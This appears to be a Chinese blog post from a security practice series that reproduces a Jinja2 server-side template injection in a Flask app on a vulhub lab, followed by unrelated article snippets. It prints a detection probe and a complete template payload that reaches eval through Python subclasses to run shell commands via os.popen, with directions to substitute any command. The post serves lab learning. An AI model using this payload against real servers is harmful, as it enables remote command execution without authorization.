首页 > 其他分享 >【 攻防实操系列+漏洞复现 】-- Jinja2 SSTI模板注入

【 攻防实操系列+漏洞复现 】-- Jinja2 SSTI模板注入

时间:2024-05-06 16:24:17浏览次数:19  
标签:.__ 7D% -- 25% 7B% 20% 0A% Jinja2 SSTI

框架:python---Flask

描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug ,模板引擎则使用Jinja2

漏洞复现:Jinja2 SSTI模板注入

使用vulhub靶场,启动环境

先进入容器看一下web服务的代码,得出参数值为name,且可控



判断是否存在ssti漏洞,输入:?name={{1*9}},被执行则漏洞存在


用jinja的语法写一个执行命令的代码:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

执行命令用法:修改代码中popen("要执行的命令")

将代码进行url编码,百度

标签:.__,7D%,--,25%,7B%,20%,0A%,Jinja2,SSTI
From: https://www.cnblogs.com/o-O-oO/p/18175227

相关文章

  • 智慧火电厂合集 | 图扑数字孪生助推能源革命
    火电厂在发电领域中扮演着举足轻重的角色。主要通过燃烧如煤、石油或天然气等化石燃料来产生电力。尽管随着可再生能源技术的进步导致其比重有所减少,但直至2023年,火电依然是全球主要的电力来源之一。效果展示通过图扑软件自主研发HTforWeb产品,采用可视化与数字孪生技术,打......
  • python实战练习题二
    """第一题:求解回文字符串回文是一个正读和反读都一样的字符串。例如:abcba12321是回文字符串hello123456不是回文字符串"""s=input("请输入字符串:")s2=s[::-1]#字符串逆序ifs==s2:print("{}是回文字符串!".format(s))else:pr......
  • 使用.NET源生成器(SG)实现一个自动注入的生成器
    DI依赖注入对我们后端程序员来说肯定是基础中的基础了,我们经常会使用下面的代码注入相关的serviceservices.AddScoped<Biwen.AutoClassGen.TestConsole.Services.TestService2>();services.AddTransient<Biwen.AutoClassGen.TestConsole.Services.TestService2>();services.Ad......
  • [智能网联汽车] 乾崑车云服务3.0:智能、便捷、安全的全新升级 [转]
    在当今数字化时代,智能汽车已经成为了人们生活中的重要组成部分。华为于2024年4月24日发布了最新的车云服务——乾崑(kun)车云服务3.0,为用户提供了全生命周期的极致体验和贴心服务。下面我们来详细解读一下乾崑车云服务3.0的六大亮点。1VHR云服务3.0:乾崑云鹊大模型乾崑云鹊大......
  • 模拟源测试设备设计方案-471-便携式手提Camera Link 模拟源测试设备
    一、平台简介   便携式手提CameraLink模拟源测试设备,以PCIe的Cameralink播出卡和X86主板为基础,构建便携式的手提设备。   平台默认操作系统为win764位系统;具备丰富的外设接口,如VGA、HDMI、千兆网口、USB2.0/3.0以及方便的JTAG调试口;平台存储为8G内存、256G固态硬......
  • 是面试官放水,还是公司实在是太缺人?这都没挂,华为原来这么容易进...
    华为是大企业,是不是很难进去啊?”“在华为做软件测试,能得到很好的发展吗?一进去就有9.5K,其实也没有想的那么难”直到现在,心情都还是无比激动!本人211非科班,之前在字节和腾讯实习过,这次其实没抱着什么特别大的希望投递,没想到华为可以再给我一次机会,还是挺开心的。本来以为有个机......
  • 路由跳转、相关api、路由守卫、路由两种工作模式
    【router基本使用(路由跳转,携带数据)】#######跳转#######-js跳转this.$router.push(路径)this.$router.push(对象)-this.$router.push({name:'路由别名'})-this.$router.push({path:'路径'})-组件跳转......
  • H264/AVC-帧内预测相邻像素推导过程
    帧内预测过程会以相邻块的像素值做参考,来预测当前块的像素值。以Intra_4x4为例,如下图所示,需要用到的13个相邻像素值,那么如何获取这13个像素值?本文要主要说明如何获取帧内预测所用到的相邻像素。获取相邻像素的流程如下:找到当前块(可以为4x4、8x8、16x16大小)的左、上、......
  • YOLOV8训练自定义数据集
    一、仓库地址YOLOV8二、数据预处理2.1将标注数据按照类别划分到不同的文件目录#单独筛选某一类缺陷importnumpyasnpimportos#shutil:操作多文件或者文件集合(复制、移除等)importshutil#------------------------------------------------------------------##作......
  • RestTemplate返回结果乱码的两种解决方案
    以下代码调用某接口时出现乱码:HttpHeadershttpHeaders=newHttpHeaders();httpHeaders.add("Content-Type","application/json;charset=utf-8");org.springframework.http.HttpEntity<String>httpEntity=neworg.springframework.http.HttpEntity<......